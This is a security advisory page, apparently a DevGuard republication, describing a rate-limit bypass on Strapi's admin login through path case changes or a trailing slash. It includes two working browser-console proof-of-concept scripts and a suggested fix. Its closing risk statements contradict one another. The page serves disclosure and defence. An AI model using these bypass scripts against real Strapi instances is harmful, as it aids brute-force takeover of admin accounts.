Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-24q2-59hm-rh9r
No affected components available
1. Summary
There is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it.
2. Details
It is possible to avoid this by modifying the rate-limited request path as follows.
- Manipulating request paths to upper or lower case. (Pattern 1)
- In this case, avoidance is possible with various patterns.
- Add path slashes to the end of the request path. (Pattern 2)
3. PoC
Access the administrator's login screen (/admin/auth/login) and execute the following PoC on the browser's console screen.
Pattern 1 (uppercase and lowercase)
// poc.js
(async () => {
const data1 = {
email: "admin@strapi.com", // registered e-mail address
password: "invalid_password",
};
const data2 = {
email: "admin@strapi.com",
password: "RyG5z-CE2-]*4e4", // correct password
};
for (let i = 0; i < 30; i++) {
await fetch("http://localhost:1337/admin/login", {
method: "POST",
body: JSON.stringify(data1),
headers: {
"Content-Type": "application/json",
},
});
}
const res1 = await fetch("http://localhost:1337/admin/login", {
method: "POST",
body: JSON.stringify(data2),
headers: {
"Content-Type": "application/json",
},
});
console.log(res1.status + " " + res1.statusText);
const res2 = await fetch("http://localhost:1337/admin/Login", { // capitalize part of path
method: "POST",
body: JSON.stringify(data2),
headers: {
"Content-Type": "application/json",
},
});
console.log(res2.status + " " + res2.statusText);
})();
This PoC does the following:
- Request 30 incorrect logins.
- Execute the same request again and confirm that it is blocked by rate limit from the console screen. (
429 Too Many Requests) - Next, falsify the pathname of the request (
/admin/Login) and make a request again to confirm that it is possible to bypass the rate limit and log in. (200 OK)
Pattern 2 (trailing slash)
// poc.js
(async () => {
const data1 = {
email: "admin@strapi.com", // registered e-mail address
password: "invalid_password",
};
const data2 = {
email: "admin@strapi.com",
password: "RyG5z-CE2-]*4e4", // correct password
};
for (let i = 0; i < 30; i++) {
await fetch("http://localhost:1337/admin/login", {
method: "POST",
body: JSON.stringify(data1),
headers: {
"Content-Type": "application/json",
},
});
}
const res1 = await fetch("http://localhost:1337/admin/login", {
method: "POST",
body: JSON.stringify(data2),
headers: {
"Content-Type": "application/json",
},
});
console.log(res1.status + " " + res1.statusText);
const res2 = await fetch("http://localhost:1337/admin/login/", { // trailing slash
method: "POST",
body: JSON.stringify(data2),
headers: {
"Content-Type": "application/json",
},
});
console.log(res2.status + " " + res2.statusText);
})();
This PoC does the following:
- Request 30 incorrect logins.
- Execute the same request again and confirm that it is blocked by rate limit from the console screen. (
429 Too Many Requests) - Next, falsify the pathname of the request (
/admin/login/) and make a request again to confirm that it is possible to bypass the rate limit and log in. (200 OK)
PoC Video
4. Impact
It is possible to bypass the rate limit of the login function of the admin screen. Therefore, the possibility of unauthorized login by login brute force attack increases.
5. Measures
Forcibly convert the request path used for rate limiting to upper case or lower case and judge it as the same path. (ctx.request.path)
Also, remove any extra slashes in the request path.
https://github.com/strapi/strapi/blob/32d68f1f5677ed9a9a505b718c182c0a3f885426/packages/core/admin/server/middlewares/rateLimit.js#L31
6. References
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data. There is a low impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard